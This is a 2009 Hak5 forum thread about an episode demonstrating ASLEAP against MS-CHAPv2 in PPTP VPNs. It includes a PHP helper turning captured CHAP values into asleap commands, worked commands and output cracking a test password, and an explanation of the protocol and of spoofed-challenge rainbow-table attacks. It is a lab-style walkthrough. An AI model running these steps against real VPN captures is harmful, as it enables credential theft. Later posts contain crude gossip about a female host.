Welcome Guest ( Log In | Register )

 
Reply to this topicStart new topic
Episode 6x12, Hacking PPTP VPNs with ASLEAP
Darren Kitchen
post Wed, 04 Nov 2009 11:53:03 +0000
Post #1


Hak.5 Junkie
************

Group: Root Admin
Posts: 3,008
Joined: Tue, 26 Jul 2005 15:52:42 +0000
From: Williamsburg, VA
Member No.: 2



Continuing with the VPN Series, Darren discusses the inherent weaknesses in Microsoft’s PPTP authentication protocol, MS-CHAPv2, and demos a Linux tool that exploits these weaknesses.


--------------------
Go to the top of the page
 
+Quote Post
Iain
post Wed, 04 Nov 2009 14:01:39 +0000
Post #2


Hak.5 Zombie
*****

Group: Members
Posts: 247
Joined: Thu, 11 May 2006 03:57:00 +0000
Member No.: 698



QUOTE (Darren Kitchen @ Wed, 04 Nov 2009 21:53:03 +0000) *
Continuing with the VPN Series, Darren discusses the inherent weaknesses in Microsoft’s PPTP authentication protocol, MS-CHAPv2, and demos a Linux tool that exploits these weaknesses.

Darren - given the problems getting ASLEAP to work with the capture in the show, how about pasting the challenge/handshake from the demo capture directly into the command in the shell? I realise that the actual PW is unlikely to be in the list that was generated, but is it possible to add the password for the demo capture manually? If so and everything works, it might eliminate some things that caused the failure. I'll be interested to know what Josh's response is to your e-mail.

I have had a PPTP VPN configured but will certainly migrate to L2TP/IPSec now!

I look forward to the other VPN segments in due course.
Go to the top of the page
 
+Quote Post
Darren Kitchen
post Wed, 04 Nov 2009 15:00:27 +0000
Post #3


Hak.5 Junkie
************

Group: Root Admin
Posts: 3,008
Joined: Tue, 26 Jul 2005 15:52:42 +0000
From: Williamsburg, VA
Member No.: 2



QUOTE (Iain @ Wed, 04 Nov 2009 19:01:39 +0000) *
Darren - given the problems getting ASLEAP to work with the capture in the show, how about pasting the challenge/handshake from the demo capture directly into the command in the shell? I realise that the actual PW is unlikely to be in the list that was generated, but is it possible to add the password for the demo capture manually? If so and everything works, it might eliminate some things that caused the failure. I'll be interested to know what Josh's response is to your e-mail.

I have had a PPTP VPN configured but will certainly migrate to L2TP/IPSec now!

I look forward to the other VPN segments in due course.



I've uploaded one of my test packet captures to http://www.hak5.org/files/cap5.dump and the corresponding wordlist to http://www.hak5.org/files/wordlist.txt

The challenge is BEB90BD54A9D289758C9AE837944BC1B
The response is 725423423D1D0EB68B10DCB78743F97F0000000000000000

The username is "david" and the password is MurphyDade109 (If you check the wordlist you'll notice that before using Paul as a target I was going to go with characters from the movie Hackers.)

Feel free to have a go at it.

I did notice that if I told to RRAS server only to use CHAP instead of CHAPv2 I would get the expected 8 byte (16 chr) challenge, but the response would be all zeroes. Odd.

It kinda sucks that I wasn't able to produce a working demo but this happens from time to time and instead of scraping the segment all together (time constraints) I just made it work. Kinda. Anyway, hopefully someone else will have better luck and I hope to get this figured out soon.


--------------------
Go to the top of the page
 
+Quote Post
Iain
post Wed, 04 Nov 2009 16:34:07 +0000
Post #4


Hak.5 Zombie
*****

Group: Members
Posts: 247
Joined: Thu, 11 May 2006 03:57:00 +0000
Member No.: 698



My challenge for the weekend!
Go to the top of the page
 
+Quote Post
Psychosis
post Wed, 04 Nov 2009 17:52:25 +0000
Post #5


Hak.5 Pirate
******

Group: Members
Posts: 436
Joined: Sun, 28 Jun 2009 04:32:18 +0000
From: Sydney, Australia
Member No.: 14,583



Pun intended?

I can't get it to work either. The challenge is too long for MS-Chap-v2, and for CHAP the response is just a bunch of zeroes.

(Why does ASLEAP compile under Backtrack 4 Pre-Final, but not under Ubuntu 9.04? Did I miss something?)


--------------------





Go to the top of the page
 
+Quote Post
Sc00bz
post Wed, 04 Nov 2009 18:47:17 +0000
Post #6


Newbie


Group: Members
Posts: 5
Joined: Wed, 28 Jan 2009 15:44:54 +0000
Member No.: 12,711



Hmm I guess Darren doesn't read his email. Well here's what I emailed him.
CODE
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>asleap 2.2 Argument Generator</title>
<script type="text/javascript">
// <![CDATA[
// I so stole this function from phpBB
function selectCode()
{
   // Get ID of code block
   var e = document.getElementsByTagName('CODE')[0];

   // Not IE
   if (window.getSelection)
   {
      var s = window.getSelection();
      // Safari
      if (s.setBaseAndExtent)
      {
         s.setBaseAndExtent(e, 0, e, e.innerText.length - 1);
      }
      // Firefox and Opera
      else
      {
         var r = document.createRange();
         r.selectNodeContents(e);
         s.removeAllRanges();
         s.addRange(r);
      }
   }
   // Some older browsers
   else if (document.getSelection)
   {
      var s = document.getSelection();
      var r = document.createRange();
      r.selectNodeContents(e);
      s.removeAllRanges();
      s.addRange(r);
   }
   // IE
   else if (document.selection)
   {
      var r = document.body.createTextRange();
      r.moveToElementText(e);
      r.select();
   }
}
// ]]>
</script>
</head>
<body>
<div style="width:90%; margin:auto;">
<?php
if (isset($_GET['u'], $_GET['c'], $_GET['r']))
{
    $c = str_replace(':', '', $_GET['c']);
    $r = str_replace(':', '', $_GET['r']);
    $chapChallengeGood = preg_match("/^[0-9a-f]{32}$/i", $c);
    $chapResponseGood  = preg_match("/^[0-9a-f]{98}$/i", $r);
    if ($chapChallengeGood == 0)
    {
        echo 'Invalid CHAP Challenge.<br />';
    }
    if ($chapResponseGood == 0)
    {
        echo 'Invalid CHAP Response.<br />';
    }
    if ($chapChallengeGood && $chapResponseGood)
    {
        // **** This is the interesting part ****
        $userName = $_GET['u'];
        $authChallenge = pack('H*', $c);
        $peerChallenge = pack('H*', substr($r, 0, 32));
        $challenge = substr(sha1($peerChallenge . $authChallenge . $userName), 0, 16);
        $response = substr($r, 48, 48);
        $challenge = preg_replace("/([0-9a-f]{2})/i", '$1:', $challenge, 7);
        $response = preg_replace("/([0-9a-f]{2})/i", '$1:', $response, 23);
        // **** This is the interesting part ****
    }
}
?>
    <form method="get">
        User Name:<br />
        <input type="text" name="u" /><br />
        <br />
        "PPP CHAP Challenge" (16 bytes, 32 Hex characters):<br />
        <input type="text" name="c" size="45" /><br />
        <br />
        "PPP CHAP Response" (49 bytes, 98 Hex characters):<br />
        <input type="text" name="r" size="137" /><br />
        <input type="submit" value="Generate asleap arguments" />
    </form>
<?php
if (isset($challenge, $response))
{?>    <br />
    <a href="#" onclick="selectCode(); return false;">Select All</a><br />
    <div style="overflow:auto; width:100%;"><code style="white-space:pre;">./asleap -C <?php echo $challenge; ?> -R <?php echo $response; ?> -f words.dat -n words.idx</code></div>
<?php
}
?>
</div>
</body>
</html>

The PHP file will convert the CHAP challenge and response packet data into asleap arguments.

To copy the data from the packet right click on the value then "Copy" -> "Bytes (Hex Stream)" or "Copy" -> "Value" (if you have a newer version of Wireshark). "Copy" -> "Value" inserts the colons in between each byte which isn't necessary for the PHP file.

Your example in 6x12:
"CHAP Challenge": e1c0e8923252b20b5561ddf404310826
"CHAP Response": d4cfa66f00364d66fbf65f85de9279300000000000000000025b3bae30a50be25e47625c2d13ce12
67513fcf682b521800

"CHAP Challenge" packet is the "auth challenge" 16 byte value.
"CHAP Response" packet has the "peer challenge" 16 byte value and the peer response 24 byte value.

user name is paul
auth challenge is e1c0e8923252b20b5561ddf404310826
peer challenge is d4cfa66f00364d66fbf65f85de927930
peer response is 025b3bae30a50be25e47625c2d13ce1267513fcf682b5218
this gives you a challenge of 6a0062c675397a16
I do not know what the null characters are for, but they are probably just there for padding.

You should get this from the PHP file:
./asleap -C 6a:00:62:c6:75:39:7a:16 -R 02:5b:3b:ae:30:a5:0b:e2:5e:47:62:5c:2d:13:ce:12:67:51:3f:cf:68:2b:52:18 -f words.dat -n words.idx

When you run that with your word list it says:
CODE
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
    hash bytes:        ebcd
    Could not find a matching NT hash.  Try expanding your password list.
    I've given up.  Sorry it didn't work out.


sad.gif it found the hash bytes but the password seems to not be in the word list. Also you can't create a useful rainbow table for this since you only have 2 bytes of the hash.

-------------------

For the one posted above do the same thing.
user name is david
"CHAP Challenge" is e1c0e8923252b20b5561ddf404310826
"CHAP Response" is d4cfa66f00364d66fbf65f85de9279300000000000000000025b3bae30a50be25e47625c2d13ce12
67513fcf682b521800

This gives you:
./asleap -C b9:fb:c2:b1:65:05:e5:26 -R 26:6a:63:57:d7:10:1b:4c:89:5e:d0:37:32:bb:6b:38:2d:89:67:a9:96:04:33:63 -f words.dat -n words.idx

Now run:
./genkeys -r wordlist.txt -f words.dat -n words.idx
./asleap -C b9:fb:c2:b1:65:05:e5:26 -R 26:6a:63:57:d7:10:1b:4c:89:5e:d0:37:32:bb:6b:38:2d:89:67:a9:96:04:33:63 -f words.dat -n words.idx

And you'll get:
CODE
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
    hash bytes:        31cf
    NT hash:           5635283972918a8f9fb608418d9331cf
    password:          MurphyDade109
Go to the top of the page
 
+Quote Post
Psychosis
post Wed, 04 Nov 2009 20:43:10 +0000
Post #7


Hak.5 Pirate
******

Group: Members
Posts: 436
Joined: Sun, 28 Jun 2009 04:32:18 +0000
From: Sydney, Australia
Member No.: 14,583



Nice.


--------------------





Go to the top of the page
 
+Quote Post
BuddhaChu
post Wed, 04 Nov 2009 23:00:17 +0000
Post #8


Hak.5 Fan
**

Group: Members
Posts: 22
Joined: Mon, 22 Dec 2008 23:44:39 +0000
Member No.: 12,310



Please make sure someone from Rev3 fixes the HD 30fps mp4 version. It's jacked up.

http://revision3.com/forum/showthread.php?t=31345
Go to the top of the page
 
+Quote Post
Darren Kitchen
post Thu, 05 Nov 2009 10:32:19 +0000
Post #9


Hak.5 Junkie
************

Group: Root Admin
Posts: 3,008
Joined: Tue, 26 Jul 2005 15:52:42 +0000
From: Williamsburg, VA
Member No.: 2



QUOTE (Sc00bz @ Thu, 05 Nov 2009 00:47:17 +0000) *
Hmm I guess Darren doesn't read his email.




I want to read it all, honestly I do. And I will, eventually. But I have a to-do list a mile long and all I can attack these buckets of email with is a soup spoon.

Anyway, thanks. I need to wrap my head around those functions. I knew it had something to do with the encoding. I'll be sure to highlight this in a coming episode. Probably not the very next since it'll be live at Va Tech.

QUOTE (BuddhaChu @ Thu, 05 Nov 2009 05:00:17 +0000) *
Please make sure someone from Rev3 fixes the HD 30fps mp4 version. It's jacked up.


There was an editing mistake that caused a re-render and re-release of the show. You may have caught a bad version. Is it still messed up?

(If you caught the show early and pay attention to the bear ad you'll see what I mean)


--------------------
Go to the top of the page
 
+Quote Post
Wetwork
post Thu, 05 Nov 2009 15:55:36 +0000
Post #10


Hak.5 Fan ++
****

Group: Members
Posts: 118
Joined: Tue, 14 Apr 2009 13:15:47 +0000
From: New Yawk
Member No.: 13,650



Good episode!!!

Asleep is a good tool IF you can get it to work and you have all the info that you need to perform a successful attack and you have a dictionary large enough and tailored enough to make a successful go at it

I am just blown away that after weeks of throwing the request out........ Paul finally made it in front of the Camera and not only that we see him in his awesome party suit for the domain.com sponsor spot. That was worth the wait!!! as well as the look of pure horror on Jason's face when he opened the door to see Paul in the Pink Party Suit tongue.gif

Paul i am glad that they released you from your chains of bondage behind the camera i hope that this is going to be an ongoing trend and not just when Snubs and Matt abandon Darren for parts unknown. Stand up for your rights Camera guy and demand a segment of your own!!!

Snubs and Paul??? Married????? Really??? say it isn't so??? If that is the case there is thousand of 16yo Hak5 Fans that are crying in there Mountain Dews and Jolt colas over there dreams of someday interfacing with her smile.gif

Its great to see Hak5 back to real hacking again, brings a warm fuzzy to my old heart!


--------------------
Security is a warm blanket of mistrust
Want computer security? .....Grab the black cable and yank it real hard
Go to the top of the page
 
+Quote Post
Psychosis
post Thu, 05 Nov 2009 16:21:28 +0000
Post #11


Hak.5 Pirate
******

Group: Members
Posts: 436
Joined: Sun, 28 Jun 2009 04:32:18 +0000
From: Sydney, Australia
Member No.: 14,583



QUOTE (Wetwork @ Fri, 06 Nov 2009 07:55:36 +0000) *
Snubs and Paul??? Married????? Really??? say it isn't so??? If that is the case there is thousand of 16yo Hak5 Fans that are crying in there Mountain Dews and Jolt colas over there dreams of someday interfacing with her smile.gif

Where did you get that from?


--------------------





Go to the top of the page
 
+Quote Post
Wetwork
post Thu, 05 Nov 2009 16:58:50 +0000
Post #12


Hak.5 Fan ++
****

Group: Members
Posts: 118
Joined: Tue, 14 Apr 2009 13:15:47 +0000
From: New Yawk
Member No.: 13,650



QUOTE (Psychosis @ Thu, 05 Nov 2009 16:21:28 +0000) *
Where did you get that from?


Darren mentioned it when he was creating the list of Paul passwords for Asleep...Dont know if he was just "rolling" with it for the sake of the segment or if it was true...


--------------------
Security is a warm blanket of mistrust
Want computer security? .....Grab the black cable and yank it real hard
Go to the top of the page
 
+Quote Post
Psychosis
post Thu, 05 Nov 2009 17:45:30 +0000
Post #13


Hak.5 Pirate
******

Group: Members
Posts: 436
Joined: Sun, 28 Jun 2009 04:32:18 +0000
From: Sydney, Australia
Member No.: 14,583



I thought it was just for the password generation - Darren also said that Shannon was 'married' to Matt the first time they showed of cupp.py, and that they had a son named Paul.


--------------------





Go to the top of the page
 
+Quote Post
Coreyja
post Fri, 06 Nov 2009 04:08:38 +0000
Post #14


Hak.5 Fan
**

Group: Members
Posts: 20
Joined: Sun, 14 Jun 2009 17:46:37 +0000
From: 80126
Member No.: 14,407



QUOTE (Wetwork @ Thu, 05 Nov 2009 14:55:36 +0000) *
Snubs and Paul??? Married????? Really??? say it isn't so??? If that is the case there is thousand of 16yo Hak5 Fans that are crying in there Mountain Dews and Jolt colas over there dreams of someday interfacing with her smile.gif


I could be totally wrong on this so don't yell at me but aren't Snubs and Darren going out?


--------------------





Go to the top of the page
 
+Quote Post
Wetwork
post Fri, 06 Nov 2009 08:51:50 +0000
Post #15


Hak.5 Fan ++
****

Group: Members
Posts: 118
Joined: Tue, 14 Apr 2009 13:15:47 +0000
From: New Yawk
Member No.: 13,650



QUOTE (Psychosis @ Thu, 05 Nov 2009 17:45:30 +0000) *
I thought it was just for the password generation - Darren also said that Shannon was 'married' to Matt the first time they showed of cupp.py, and that they had a son named Paul.


Snubs you sexy minx, getting around arent you laugh.gif

Who ever Shannon is going out with he is a lucky guy


--------------------
Security is a warm blanket of mistrust
Want computer security? .....Grab the black cable and yank it real hard
Go to the top of the page
 
+Quote Post
scrapheap
post Fri, 06 Nov 2009 11:07:02 +0000
Post #16


Hak.5 Fan ++
****

Group: Members
Posts: 90
Joined: Fri, 22 May 2009 06:53:22 +0000
Member No.: 14,133



QUOTE (Wetwork @ Thu, 05 Nov 2009 20:55:36 +0000) *
Snubs and Paul??? Married????? Really??? say it isn't so??? If that is the case there is thousand of 16yo Hak5 Fans that are crying in there Mountain Dews and Jolt colas over there dreams of someday interfacing with her smile.gif


I was going to say something about it not being on 16yo Hak5 Fans but then realised I was starting to sound like a crazy stalker/ serial killer smile.gif
Go to the top of the page
 
+Quote Post
Wetwork
post Fri, 06 Nov 2009 13:34:48 +0000
Post #17


Hak.5 Fan ++
****

Group: Members
Posts: 118
Joined: Tue, 14 Apr 2009 13:15:47 +0000
From: New Yawk
Member No.: 13,650



QUOTE (scrapheap @ Fri, 06 Nov 2009 11:07:02 +0000) *
I was going to say something about it not being on 16yo Hak5 Fans but then realised I was starting to sound like a crazy stalker/ serial killer smile.gif


Im sure that there are many Hak5 fans of all ages that are stripping there cable over Snubs, but in reality who could blame them she is a hottie


--------------------
Security is a warm blanket of mistrust
Want computer security? .....Grab the black cable and yank it real hard
Go to the top of the page
 
+Quote Post
Darren Kitchen
post Tue, 17 Nov 2009 18:04:57 +0000
Post #18


Hak.5 Junkie
************

Group: Root Admin
Posts: 3,008
Joined: Tue, 26 Jul 2005 15:52:42 +0000
From: Williamsburg, VA
Member No.: 2



Comments from Sc00bz code:

CODE




"pack('H*', $str)" converts $str from a hex string to binary data. This is the opposite of the PHP function bin2hex(). I would love to just use hex2bin() but that function doesn't exist in PHP.

--------------------------

In MS-CHAPv2 (RFC 2759) the server sends a 16 byte authenticator challenge to the client and the client generates another 16 bytes of random data called the peer challenge. Using the peer challenge, authenticator challenge, and user name the client generates the 8 byte challenge. Then using the 8 byte challenge the client generates the response and sends the peer challenge and the response.

// Short version (just the 8 byte challenge generation):
// sha1() is the same one in PHP
sha1BinaryData = sha1(peerChallenge . authenticatorChallenge . userName, true) // 20 bytes returned
challenge = substr(sha1BinaryData, 0, 8)
-------
Ex:
userName = "bob" // 626f62
authenticatorChallenge = "auth_challenge.." // 617574685f6368616c6c656e67652e2e
peerChallenge = "peer_challenge.." // 706565725f6368616c6c656e67652e2e
ntlmHash = ntlm("password") // 8846f7eaee8fb117ad06bdd830b7586c

sha1BinaryData = sha1(peerChallenge . authenticatorChallenge . userName, true) // 20 bytes returned
// ab8031f17836bd56fe75174ce22d8ddabae837c2 = sha1("peer_challenge..auth_challenge..bob", true)
challenge = substr(sha1BinaryData, 0, 8)
// ab8031f17836bd56 = substr(ab8031f17836bd56fe75174ce22d8ddabae837c2, 0, 8)


You can stop here if you just want to know how the 8 byte challenge is generated.


// Long version (full MS-CHAPv2):
response = MS_CHAPv2(userName, authenticatorChallenge, peerChallenge, ntlmHash)
responsePacketValue = peerChallenge .
"\x00\x00\x00\x00\x00\x00\x00\x00" . // 8 bytes of padding
response .
"\x00"; // flag reserved for future use

string /*24 bytes*/ MS_CHAPv2(string userName, string authenticatorChallenge /*16 bytes*/, string peerChallenge /*16 bytes*/, string ntlmHash /*16 bytes*/)
{
sha1BinaryData = sha1(peerChallenge . authenticatorChallenge . userName, true) // 20 bytes returned
challenge = substr(sha1BinaryData, 0, 8)
response = ChallengeResponse(challenge, ntlmHash) // 24 bytes returned
return response
}

// sha1() is the same one in PHP
string sha1(string str[, bool raw_output = false])
{
// If the optional raw_output is set to TRUE, then
// the sha1 digest is instead returned in raw binary
// format with a length of 20, otherwise the returned
// value is a 40-character hexadecimal number.
}

string /*24 bytes*/ ChallengeResponse(string challenge /*8 bytes*/, string hash /*16 bytes*/)
{
hashPadded = hash . "\x00\x00\x00\x00\x00" // cat 5 null characters

response = DesEncrypt(challenge, substr(hashPadded, 0, 7))
response .= DesEncrypt(challenge, substr(hashPadded, 7, 7))
response .= DesEncrypt(challenge, substr(hashPadded, 14, 7))
return response
}

string /*8 bytes*/ DesEncrypt(string message /*8 bytes*/, string key /*7 bytes*/)
{
// Encrypts message using key and returns cipher text (8 bytes).
}

-------
Ex:
userName = "bob" // 626f62
authenticatorChallenge = "auth_challenge.." // 617574685f6368616c6c656e67652e2e
peerChallenge = "peer_challenge.." // 706565725f6368616c6c656e67652e2e
ntlmHash = ntlm("password") // 8846f7eaee8fb117ad06bdd830b7586c

response = MS_CHAPv2(userName, authenticatorChallenge, peerChallenge, ntlmHash)
// { inside of MS_CHAPv2()
// sha1BinaryData = sha1(peerChallenge . authenticatorChallenge . userName, true)
// // ab8031f17836bd56fe75174ce22d8ddabae837c2 = sha1("peer_challenge..auth_challenge..bob", true)
// challenge = substr(sha1BinaryData, 0, 8)
// // ab8031f17836bd56 = substr(ab8031f17836bd56fe75174ce22d8ddabae837c2, 0, 8)
// response = ChallengeResponse(challenge, ntlmHash) // 24 bytes returned
// // { inside of ChallengeResponse()
// // hashPadded = ntlmHash . "\x00\x00\x00\x00\x00" // cat 5 null characters
// // // 8846f7eaee8fb117ad06bdd830b7586c0000000000
// //
// // response = DesEncrypt(challenge, substr(hashPadded, 0, 7))
// // response .= DesEncrypt(challenge, substr(hashPadded, 7, 7))
// // response .= DesEncrypt(challenge, substr(hashPadded, 14, 7))
// // return response
// // // bc4acb4a3953680e = DesEncrypt(ab8031f17836bd56, 8846f7eaee8fb1)
// // // ... abd6fd979ad078aa .= DesEncrypt(ab8031f17836bd56, 17ad06bdd830b7)
// // // ... 5c21b44e13ea7df2 .= DesEncrypt(ab8031f17836bd56, 586c0000000000)
// // // return bc4acb4a3953680eabd6fd979ad078aa5c21b44e13ea7df2
// // }
// return response
// // return bc4acb4a3953680eabd6fd979ad078aa5c21b44e13ea7df2
// }
responsePacketValue = peerChallenge .
"\x00\x00\x00\x00\x00\x00\x00\x00" . // 8 bytes of padding
response .
"\x00"; // flag reserved for future use
// 706565725f6368616c6c656e67652e2e0000000000000000bc4acb4a3953680eabd6fd979ad078aa

--------------------------
--------------------------

Just for completeness here is MS-CHAPv1:
In MS-CHAPv1 (RFC 2433) the server sends the 8 byte challenge to the client and the client returns lmResponse and ntlmResponse. This is the same algorithm as NTLMv1 for SMB shared folders. Rainbow tables (halflmchall, lmchall, ntlmchall) can be made to attack this algorithm by spoofing a server with a constant challenge; most commonly the challenge is 1122334455667788.

response = MS_CHAPv1(challenge, lmHash, ntlmHash)
responsePacketValue = response .
"\x0?"; // "Use Windows NT compatible challenge response" flag

string /*48 bytes*/ MS_CHAPv1(string challenge /*8 bytes*/, string lmHash /*16 bytes*/, string ntlmHash /*16 bytes*/)
{
response = ChallengeResponse(challenge, lmHash) // 24 bytes returned
response .= ChallengeResponse(challenge, ntlmHash) // 24 bytes returned
return response
}
/* Quoted from RFC 2433:
The "use Windows NT compatible challenge response" flag, if 1,
indicates that the Windows NT response is provided and should be used
in preference to the LAN Manager response. The LAN Manager response
will still be used if the account does not have a Windows NT password
hash, e.g. if the password has not been changed since the account
was uploaded from a LAN Manager 2.x account database. If the flag is
0, the Windows NT response is ignored and the LAN Manager response is
used. Since the use of LAN Manager authentication has been
deprecated, this flag SHOULD always be set (1) and the LAN Manager
compatible challenge response field SHOULD be zero-filled.
*/


--------------------
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic
1 User(s) are reading this topic (1 Guests and 0 Anonymous Users)
0 Members:

 



RSS Lo-Fi Version Time is now: Fri, 20 Nov 2009 19:53:34 +0000